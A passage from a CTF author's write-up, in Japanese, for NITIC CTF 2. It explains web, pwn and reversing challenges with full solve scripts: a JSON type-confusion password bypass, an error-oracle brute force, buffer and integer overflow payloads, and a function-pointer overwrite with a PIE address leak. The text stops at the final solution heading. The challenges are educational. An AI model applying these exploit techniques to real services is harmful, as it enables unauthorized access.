Satoooonの物置

雑多に色々と何かをしている

NITIC CTF 2 作問者Writeup+反省

NITIC CTF 2の作問の一部を担当しました。参加して頂きありがとうございました。

以下、作った問題の解説と反省をしていきます。

Web

password [300pt, 46 Solves]

パスワードの文字が紛らわしいので、打ち間違えても通るようにしました。

from flask import Flask, request, make_response, render_template
import string
import secrets

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])

print("[INFO] password: " + password)

with open("flag.txt") as f:
    flag = f.read()

def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != 'application/json':
        return make_response("invalid Content-Type Header", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag

if __name__ == '__main__':
    app.run(
        debug = True,
        host = '127.0.0.1',
        port = 8080,
        threaded = True
    )

このようなサーバーが動いています。正しいパスワードを送信すればフラグが貰えますが、0oOiI1の文字種は区別されないようになっています。

取っ掛かり

なんでわざわざJSONで送ってるの?という疑問がありますね。CTFにおいてこういう無駄な実装は意味があることが多いです。

フォームから送られるJSONはこのような形です。

{"pass": "hoge"}

しかし、サーバー側でpassが文字列であるというチェックを行っていません。つまり、このようなpassを配列にしたJSONも送れます。

{"pass": ["h", "o", "g", "e"]}

非想定解

全員非想定解で通していると思います。私もこれ想定解にしたいです。

       else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False

ここが使えます。配列にすればinput_pass[i]は自由に操作することができるので、同様にcも操作することができます。

c0oOのような区別しない文字種を格納しておく変数なので、これをパスワードの文字種のstring.ascii_letters、つまりabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZにすればパスワードのチェックを一文字分通り抜けることができます。

これをパスワードの長さである32文字分繰り返せばよいので、このようなJSONを送ることでフラグが得られます・

{'pass': ['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ']}

password fixed [300pt, 13 solves]

先程の非想定解を潰した問題です。予告無しの途中からの問題追加、追加時のトラブルや対応の遅れなど様々な迷惑をおかけして申し訳ありませんでした。

fuzzy_equal関数がこのように変更されています。

def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            if password[i] not in "0oO":
                return False
            continue
        if input_pass[i] in "l1I":
            if password[i] not in "l1I":
                return False
            continue
        if input_pass[i] != password[i]:
            return False
    return True

これではcのような操作できる都合のいい変数が無いため、先ほどの非想定解は使えません。

想定解

先程は配列のJSONを送る発想があれば解けましたが、ここでは配列の中に文字列以外を入れる発想があれば解けます。

{"pass": [1,1,1,1, ... (32個文)]}

このようなJSONを送ってみると、500 Internal Server Errorが起きます。

fuzzy_equal関数を手元で動かして原因を探りましょう。

In [2]: fuzzy_equal([1,2,3,4], "hoge")
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-2-bbfd2ccd8286> in <module>
----> 1 fuzzy_equal([1,2,3,4], "hoge")

<ipython-input-1-48649ff100fd> in fuzzy_equal(input_pass, password)
      4
      5         for i in range(len(input_pass)):
----> 6                 if input_pass[i] in "0oO":
      7                         if password[i] not in "0oO":
      8                                 return False

TypeError: 'in <string>' requires string as left operand, not int

input_pass[i] in "0oO"の部分です。数値 in 文字列のときはエラーを起こすようですね。

もう一つ見ておく処理があります。

       if input_pass[i] in "0oO":
            if password[i] not in "0oO":
                return False # ここ
            continue
        if input_pass[i] in "l1I":
            if password[i] not in "l1I":
                return False # ここ
            continue
        if input_pass[i] != password[i]:
            return False # ここ

普通ではと思うかもしれませんが、パスワードのi文字目が合っていなかったら途中でもループを終了して結果を返すという事実が重要です。

この二つを使います。このようなJSONを送ってみるとどうなるでしょうか?

{"pass": ["a", 1, 1, ... (32文字分)]}

まずfuzzy_equalの最初のループでaが評価されます。このときaが合っていなかったらループを終了して結果を返します。

aが合っていたときは次のループに移りますが、1 in "0oO"が評価されエラーになり500 Internal Server Errorを返します。

つまり、このJSONを送るとパスワードの1文字目がaであるかどうかというのを判別することができます。

この操作をaからZまですることで、パスワードの1文字目がわかります。

仮にパスワードの1文字目がxとわかったら、2文字目も同様に次のようなJSONを送ることで判別することができます。

{"pass": ["x", "a", 1, ... (32文字分)]}

これを32文字文繰り返せばパスワードを特定できます。

import requests as req
import string

ses = req.Session()

pass_list = [1 for i in range(32)]

host = "http://127.0.0.1:8002/flag"

for i in range(32-1):
    for c in string.ascii_letters:
        pass_list[i] = c
        response = ses.post(host, json={"pass":pass_list})
        if response.status_code == 500:
            break
    print(pass_list)

for c in string.ascii_letters:
    pass_list[31] = c
    response = ses.post(host, json={"pass":pass_list})
    if response.status_code != 401:
        print(response.text)
        break

非想定解が綺麗で「曖昧なパスワード」という設定に引っ張られた人は多かったと思うんですけど、実際は数値 in 文字列の処理を作るための口実でした。

頑張れば思いつけると思ったんですけど、解けた人は少なかったですね。ごめんなさい。

pwn

pwn monster 1 [200pt, 120 solves]

pwn monsterが完成しました!ライバルのpwnchuは最強で、バグ技を使わない限りは勝てないでしょう。

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdbool.h>

// バッファリングを無効化して時間制限を60秒に設定
__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

void show_flag() {
    FILE* fp = fopen("./flag.txt", "r");
    char flag[256];
    if (fp == NULL) {
        printf("Not found flag.txt! Do you run in local?\n");
    } else {
        fgets(flag, 256, fp);
        printf("%s\n", flag);
        fclose(fp);
    }
}

void print_and_wait(const char* message) {
    puts(message);
    getchar();
}


void print_title() {
    print_and_wait(
        " ____                 __  __                 _            \n"
        "|  _ \\__      ___ __ |  \\/  | ___  _ __  ___| |_ ___ _ __ \n"
        "| |_) \\ \\ /\\ / / '_ \\| |\\/| |/ _ \\| '_ \\/ __| __/ _ \\ '__|\n"
        "|  __/ \\ V  V /| | | | |  | | (_) | | | \\__ \\ ||  __/ |   \n"
        "|_|     \\_/\\_/ |_| |_|_|  |_|\\___/|_| |_|___/\\__\\___|_|   \n"
        "                        Press Any Key                            \n"
    );
}

typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
} Monster;

void print_monster_infomation(Monster monster) {
    printf("+--------+--------------------+----------------------+\n");
    printf("|name    | 0x%016lx | %20.8s |\n", *(int64_t*)monster.name      , monster.name);
    printf("|        | 0x%016lx | %20.8s |\n", *(int64_t*)(monster.name + 8), monster.name + 8);
    printf("|HP      | 0x%016lx | % 20ld |\n", monster.hp                , monster.hp);
    printf("|ATK     | 0x%016lx | % 20ld |\n", monster.attack            , monster.attack);
    printf("+--------+--------------------+----------------------+\n");
}

void give_monster_name(Monster* monster) {
    printf("Let's give your monster a name!\n");
    print_monster_infomation(*monster);

    printf("Input name: ");
    scanf("%s%*c", monster->name);
    
    print_monster_infomation(*monster);
    print_and_wait("OK, Nice name.");
}

bool battle(Monster my_monster, Monster rival_monster) {
    bool my_turn = true;
    while (1) {
        printf("[You] %s HP: %ld\n", my_monster.name, my_monster.hp);
        printf("[Rival] %s HP: %ld\n", rival_monster.name, rival_monster.hp);
        
        if (rival_monster.hp < 0) {
            print_and_wait("Win!");
            return true;
        }
        if (my_monster.hp < 0) {
            print_and_wait("Lose...");
            return false;
        }

        if (my_turn) {
            print_and_wait("Your Turn.");
            printf("Rival monster took %ld damage!\n", my_monster.attack);
            print_and_wait("");
            rival_monster.hp -= my_monster.attack;
        } else {
            print_and_wait("Rival Turn.");
            printf("Your monster took %ld damage!\n", rival_monster.attack);
            print_and_wait("");
            my_monster.hp -= rival_monster.attack;
        }

        my_turn = !my_turn;
    }
}

int main() {
    Monster rival_monster = {"pwnchu", 9999, 9999};
    Monster my_monster = {"", 100, 10};
    bool win = false;

    print_title();
    
    print_and_wait("Welcome to Pwn Monster World!");
    print_and_wait("I'll give your first monster!");
    
    give_monster_name(&my_monster);

    print_and_wait("Let's battle with Rival! If you win, give you FLAG.");
    win = battle(my_monster, rival_monster);
    if (win) {
        show_flag();
    }
    return 0;
}

コードが長いですが、読まなくても解ける程度の難易度だと思います。

give_monster_name関数のscanf("%s%*c", monster->name)の部分が脆弱性です。scanfの書式文字列%s%15sのように文字列長を指定しないとmonster->nameを超えて入力を読み込んでしまうBuffer Over Flowが起きます。

typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
} Monster;

構造体Monsternameの下にhpattackを持つため、16文字以上の入力をするとhp, attackを上書きすることができます。12345678123456781234567812345678などの入力をすることでhp, attackを大きな値に上書きすることで相手のHPを削り切り、フラグを得ることができます。

❯ ./vuln
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: 12345678123456781234567812345678
+--------+--------------------+----------------------+
|name    | 0x3837363534333231 |             12345678 |
|        | 0x3837363534333231 |             12345678 |
|HP      | 0x3837363534333231 |  4050765991979987505 |
|ATK     | 0x3837363534333231 |  4050765991979987505 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] 12345678123456781234567812345678pwnchu HP: 4050765991979987505
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 4050765991979987505 damage!


[You] 12345678123456781234567812345678pwnchu HP: 4050765991979987505
[Rival] pwnchu HP: -4050765991979977506
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

netcatさえ持っていれば簡単に解ける問題です。簡単なメモリ破壊でpwnに親しみを持ってもらえたらいいなと思い作りました。

pwn monster 2 [300pt, 65 solves]

pwn monster 2ではバグ技を検知する機構を追加しました。

void give_monster_name(Monster* monster) {
    printf("Let's give your monster a name!\n");
    print_monster_infomation(*monster);

    int64_t checksum = monster->hp + monster->attack;

    printf("Checksum: %ld\n", checksum);

    printf("Input name: ");
    scanf("%s%*c", monster->name);
    
    print_monster_infomation(*monster);

    printf("Checksum: %ld\n", monster->hp + monster->attack);

    if (monster->hp + monster->attack != checksum) {
        puts("Detect cheat.");
        exit(1);
    }
    
    puts("OK, Nice name.");
}

pwn monster 1の続きで、今回はHPとATKがチェックサムで書き替えられていないかチェックされています。

HPとATKの初期値は100, 10なのでチェックサムは110です。HP+ATKが110になるように調整しつつ、都合のいい値に上書きする必要があります。

HPとATKをどちらも大きい値にしたいことですが、チェックサムを通すことを考えるとどちらかを大きな値にすると、どちらかを負の値にする必要があります。

HPが負の値になると負けてしまうので、ATKを負の値にしなければなりません。ATKが負の値だと相手を回復し続けるだけでは?と思うかもしれませんが、相手のHPがint64_tの最大値9223372036854775807を超えるとオーバーフローし、負の値になり勝つことができます。

HPを大きな値(例えば0x7fffffffffffffff)にするとします。チェックサムが通るATKは2の補数を考慮すれば以下のように計算できます。

>>> hex(((0x7fffffffffffffff - 110) ^ ((1 << 64) - 1)) + 1)
'0x800000000000006f'

このプログラムで使われているアーキテクチャx86_64ではリトルエンディアンという下位アドレス順からバイト毎に配置される方式を取っているので、それを考慮しつつ送信内容を書きます。

❯ echo -e "1234567812345678\xff\xff\xff\xff\xff\xff\xff\x7f\x6f\x00\x00\x00\x00\x00\x00\x80" | ./vuln
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key

Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: +--------+--------------------+----------------------+
|name    | 0x3837363534333231 |             12345678 |
|        | 0x3837363534333231 |             12345678 |
|HP      | 0x7fffffffffffffff |  9223372036854775807 |
|ATK     | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] 1234567812345678�������o HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] 1234567812345678�������o HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}

nitic_ctf{buffer_and_1nteger_overfl0w}

pwntoolsの機能を使うと簡潔に書くことができます。

from pwn import *

io = process("./vuln")

payload = b"A" * 16  # name
HP = 0x1234567812345678 # どんな大きい値でもいい
payload += p64(HP)  # HP
payload += p64(-HP + 110, signed='signed')  # ATK

io.sendlineafter("Input name: ", payload)
io.interactive()

Beginner's Stackでまずつまずいたのがunprintableな内容をどう送信するか?だったので、それに慣れてもらえたらなと思い、少しのCTF的バイパスも入れて出しました。

pwn monster 3 [300, 50 solves]

対策してもバグで勝つ人が多いので、pwn monster 3では勝ってもフラグを貰えないようにしました。

void show_flag() {
    FILE* fp = fopen("./flag.txt", "r");
    char flag[256];
    if (fp == NULL) {
        printf("Not found flag.txt! Do you run in local?\n");
    } else {
        fgets(flag, 256, fp);
        printf("%s\n", flag);
        fclose(fp);
    }
}

typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
    char* (*cry)();
} Monster;

char* pwnchu_cry() {
    return "pwnchu!";
}

char* my_monster_cry() {
    return "GRRRR....";
}

...

bool battle(Monster my_monster, Monster rival_monster) {
    bool my_turn = true;
    while (1) {
...
        if (my_turn) {
            puts("Your Turn.");
            printf("%s: %s\n", my_monster.name, my_monster.cry());
            ...
        } else {
            puts("Rival Turn.");
            printf("%s: %s\n", rival_monster.name, rival_monster.cry());
            ...
        }

        my_turn = !my_turn;
    }
}

int main() {
    Monster rival_monster = {"pwnchu", 9999, 9999, pwnchu_cry};
    Monster my_monster = {"", 100, 10, my_monster_cry};
    bool win = false;
    ...
    win = battle(my_monster, rival_monster);
    if (win) {
        puts("Rival: I don't want to give you FLAG! bye~~");
    }
    return 0;
}

チェックサムは無くなり、構造体にcry()という関数ポインタが追加され、そこにはbattle()内で呼び出されるモンスターの鳴き声を返す関数が入っています。また、勝ってもフラグが貰えないようになっています。

そもそも関数を示すポインタとはどういうこと?という疑問があるかもしれません。

コンパイルする際に関数のソースコード機械語に変換するのですが、出力される実行ファイル(例えばa.out)には各関数を動かすための機械語が入っています。

この実行ファイルは、実行する際にメモリにロードされます。関数ポインタとは、メモリ中にあるロードされた実行ファイル中の、関数を動かすための機械語を指すポインタということです。

つまり関数ポインタを書き替えるとポインタが指す機械語をメモリ中の別の場所へと変更することができます。

機械語の現在位置のアドレスを持つレジスタをプログラムカウンタ(PC)、x86_64ではRIPと呼ばれるのですが、関数ポインタの書き替えのようにRIPの操作を奪うことがpwnの基本的な目標になります。RIPを取ると呼んだりしています。

さて、この問題ではどうでしょうか。my_monster.cryの関数ポインタを書き替えることができるので、RIPの奪取は可能です。フラグが貰えればいいので、my_monster.cryが指す機械語show_flag()機械語にすれば良さそうです。

show_flag()が配置されているアドレスがわかればいいのですが、PIEというセキュリティ機構の考慮が必要です。

PIE有効下ではまず最初にランダムなアドレス(ベースアドレス)を決定し、そのアドレスから実行ファイルがメモリにロードされるようになります。

そのため関数が配置されるアドレスも毎回変化します。

# 毎回変化するベースアドレス
base_address = 0x562ae54be000
# ある関数の実行ファイルの先頭からのオフセット
function_offset = 0x1568
# 関数が実際にメモリに配置されるアドレス
function_address = base_address + function_offset = 0x562ae54bf568

そのためベースアドレスがわからなければ関数が実際に配置されるアドレスもわかりません。どうやってベースアドレスを求めたらいいのでしょうか。

ここでプログラムで出力されるメモリに注目します。

+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
|cry()   | 0x0000559b85ecd34e |                      |
+--------+--------------------+----------------------+

このように、出力にはmy_monster.cryのアドレス0x0000559b85ecd34eが含まれています。これは先ほどの例で言うとfunction_addressにあたります。

function_offsetがわかれば、式からfunction_address - function_offset = base_addressと求めることができます。

関数のオフセットはobjdumpなどのツールを用いて調べることができます。この時点でmy_monster.cryに入っているのはmy_monster_cry()関数のアドレスなのでその関数のオフセットを調べます。

$ objdump -d vuln
...
000000000000134e <my_monster_cry>:
...

この134eというのがmy_monster_cryの16進数のオフセットです。 ベースアドレスを式から求めてみましょう。

>>> hex(0x0000559b85ecd34e - 0x00000000000134e)
'0x559b85ecc000'

この0x559b85ecc000が今回の例のベースアドレスです。これにshow_flag()のオフセットを足せばshow_flag()のアドレスになります。

my_monster.cryshow_flag()に書き替えればよいという話でしたが、書き替える内容が動的に変化するのでncで解くのは厳しいです。

Pythonのpwntoolsを利用することでそのような操作を簡単に書くことができます。

from pwn import *

file = "./vuln"

program = ELF(file)

io = process(file)

# my_monster.cryのアドレスを取得する
io.recvuntil("|cry()   | 0x")
cry_addr = int(io.recvuntil(" ")[:-1], 16)

# ベースアドレスを求める (pwntoolsのELFクラスでは一度ベースアドレスを入れると後は自動で補完してくれる)
program.address = cry_addr - program.sym["my_monster_cry"]

# my_monster.cryを書き換える
payload = b"A" * 0x8  # name
payload += b"A" * 0x8
payload += b"A" * 0x8 # HP
payload += b"A" * 0x8 # ATK
# p64で整数のアドレスを64bitのバイト列に変換する
payload += p64(program.sym["show_flag"]) # cry()
io.sendlineafter("Input name: ", payload)

io.interactive()
❯ py solve.py
[*] '/mnt/*hoge*/CTF/NITIC_CTF_2/pwn/pwn_monster_3/work/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './vuln': pid 6828
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x4141414141414141 |  4702111234474983745 |
|ATK     | 0x4141414141414141 |  4702111234474983745 |
|cry()   | 0x000055848ad23286 |                      |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x862Ҋ\x84U HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x862Ҋ\x84U: (null)
Rival monster took 4702111234474983745 damage!
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x862Ҋ\x84U HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!
Rival: I don't want to give you FLAG! bye~~
[*] Got EOF while reading in interactive
$
[*] Interrupted

nitic_ctf{rewrite_function_pointer_is_fun}

このシリーズは私が初めて解いたpwnであるSECCON Beginners CTF 2020のBeginner's Stackをオマージュして作られており、PIE無効だと元問題と一致してしまうため、PIE有効にしてleakからのアドレス計算も慣れるといいよねと思い出しました。

Rev

protected [200pt, 105 solves]

パスワードでフラグを保護すれば安全!

表層解析

stringsコマンドを使ってバイナリ中にある文字列を見てみましょう。

$ strings chall
...
[]A\A]A^A_
PASSWORD:
sUp3r_s3Cr37_P4s5w0Rd
Invalid password.
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
...

sUp3r_s3Cr37_P4s5w0Rdといういかにも怪しい文字列がありました。これがパスワードなので、入力すればフラグが得られます。

❯ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}

nitic_ctf{hardcode_secret}

sUp3r_s3Cr37_P4s5w0Rdがフラグだと思われた方はすみませんでした。もう少し記述をしておけば良かったですね...

真面目に解析

Ghidraを使って解析してみます。

/* WARNING: Could not reconcile some variable overlaps */

bool main(void)

{
  int result;
  long in_FS_OFFSET;
  char out [26];
  char input_buf [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("PASSWORD: ");
  __isoc99_scanf("%s",input_buf);
  result = strcmp(input_buf,"sUp3r_s3Cr37_P4s5w0Rd");
  if (result == 0) {
    out._0_8_ = 0xe17e5dba42674ca9;
    out._8_8_ = 0x4027c7f0b9cb9dba;
    out._16_8_ = 0x30d97c7e02684487;
    out._24_2_ = 0x1d00;
    RC4(out,input_buf,0x1a);
    puts(out);
  }
  else {
    puts("Invalid password.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return result != 0;
}

sUp3r_s3Cr37_P4s5w0Rdがパスワードで、それをkeyとしてRC4で暗号化されたフラグを復号していることがわかります。

report or repeat [300pt, 22 solves]

マルウェアの仕業により大事なレポートが暗号化されてしまった!レポートの締め切りは9/6の24時まで。暗号化プログラムを解読してレポートを取り戻し、留年を回避しましょう。

※ あくまで設定で、有害なプログラムは含んでいません

解析

Ghidraで解析します。entryを見るとmain関数はFUN_001014bdであることがわかるので見ていきましょう。

int main(int argc,char **argv)

{
  int read_len2;
  FILE *input_fp;
  FILE *output_fp;
  size_t read_len;
  ulong path_len;
  char *pcVar1;
  long in_FS_OFFSET;
  byte const_zero;
  int i;
  undefined input_buf [256];
  undefined output_buf [255];
  undefined4 output_path;
  undefined auStack277 [261];
  long canary;
  char path_i;
  
  const_zero = 0;
  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (argc < 2) {
    printf("Usage: %s ./file\n",*argv);
    read_len2 = 0;
  }
  else {
    input_fp = fopen(argv[1],"rb");
    if (input_fp == (FILE *)0x0) {
      printf("Could not open %s\n",argv[1]);
      read_len2 = 1;
    }
    else {
      strncpy((char *)((long)&output_path + 1),argv[1],0x100);
      path_len = 0xffffffffffffffff;
      pcVar1 = (char *)((long)&output_path + 1);
      do {
        if (path_len == 0) break;
        path_len = path_len - 1;
        path_i = *pcVar1;
        pcVar1 = pcVar1 + (ulong)const_zero * -2 + 1;
      } while (path_i != '\0');
                    /* .enc */
      *(undefined4 *)((long)&output_path + ~path_len) = 0x636e652e;
      auStack277[~path_len] = 0;
      output_fp = fopen((char *)((long)&output_path + 1),"wb");
      if (output_fp == (FILE *)0x0) {
        printf("Could not open %s\n",(long)&output_path + 1);
        read_len2 = 1;
      }
      else {
        do {
          read_len = fread(input_buf,1,0x100,input_fp);
          read_len2 = (int)read_len;
          if (read_len2 < 0x100) {
            i = read_len2;
            if (read_len2 == 0) break;
            for (; i < 0x100; i = i + 1) {
              input_buf[i] = 0;
            }
          }
          encrypt(input_buf,output_buf);
          read_len = fwrite(output_buf,1,0x100,output_fp);
          if (read_len < 0x100) {
            printf("Failed to write to %s\n",(long)&output_path + 1);
            read_len2 = 1;
            goto LAB_00101738;
          }
        } while (read_len2 == 0x100);
        fclose(input_fp);
        fclose(output_fp);
        read_len2 = 0;
      }
    }
  }
LAB_00101738:
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return read_len2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

解析するとこんな感じで、argv[1]のファイルを0x100バイト読み込み暗号化をしてから(argv[1]).encのファイルに書き込んでいます。encrypt関数について見ていきましょう。

/* WARNING: Could not reconcile some variable overlaps */

void encrypt(byte *input_buf,byte *output_buf)

{
  long lVar1;
  long in_FS_OFFSET;
  int i;
  char xor_table [256];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  xor_table._0_8_ = 0xc2b5e93852ec1e72;
  xor_table._8_8_ = 0x27ea0f531f754746;
  xor_table._16_8_ = 0x2a898c8c6ed757cf;
  xor_table._24_8_ = 0x12e7a197b8a86f2;
  xor_table._32_8_ = 0x7c9f5b2bd30815ab;
  xor_table._40_8_ = 0x58826f3c985dde86;
  xor_table._48_8_ = 0x9ef377a56285eaf2;
  xor_table._56_8_ = 0x1b71a09e8b10373e;
  xor_table._64_8_ = 0x650117b32f7e9dce;
  xor_table._72_8_ = 0xf928e1ad2f795c14;
  xor_table._80_8_ = 0xa65e121f693a9255;
  xor_table._88_8_ = 0x28e33b47dadba441;
  xor_table._96_8_ = 0x627c22fa9ce90908;
  xor_table._104_8_ = 0x8e45e495862805d2;
  xor_table._112_8_ = 0x426458ed66ebe7d2;
  xor_table._120_8_ = 0x685191a02170a9ba;
  xor_table._128_8_ = 0x7abb33126ca97eff;
  xor_table._136_8_ = 0x1047cceede01bde;
  xor_table._144_8_ = 0xd3061b78361723cf;
  xor_table._152_8_ = 0xd4a5086985e255e;
  xor_table._160_8_ = 0xc22b726e96390c31;
  xor_table._168_8_ = 0xf9a944d74cdd310f;
  xor_table._176_8_ = 0xb0a67368b940edb7;
  xor_table._184_8_ = 0x4ce4b603372e3eef;
  xor_table._192_8_ = 0x6254f01074835dcb;
  xor_table._200_8_ = 0x846ea7ff5cdf28c1;
  xor_table._208_8_ = 0x3d175ba063eb3959;
  xor_table._216_8_ = 0x98777b218bcbee97;
  xor_table._224_8_ = 0x670388d4459a9d5;
  xor_table._232_8_ = 0xe951440710637bef;
  xor_table._240_8_ = 0x330c4a5a3dce2989;
  xor_table._248_8_ = 0x81d57f6dd1652132;
  for (i = 0; i < 0x100; i = i + 1) {
    output_buf[i] = out_table[input_buf[idx_table[i]]] ^ xor_table[i];
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

各バイトについて、以下のような処理をしてますね。

output_buf[i] = out_table[input_buf[idx_table[i]]] ^ xor_table[i];

xxx_tableは全てバイナリ中に埋め込まれているのでGhidraやradare2やgdb、最悪でもddなどのツールを使って抜き出すことができます。

解法

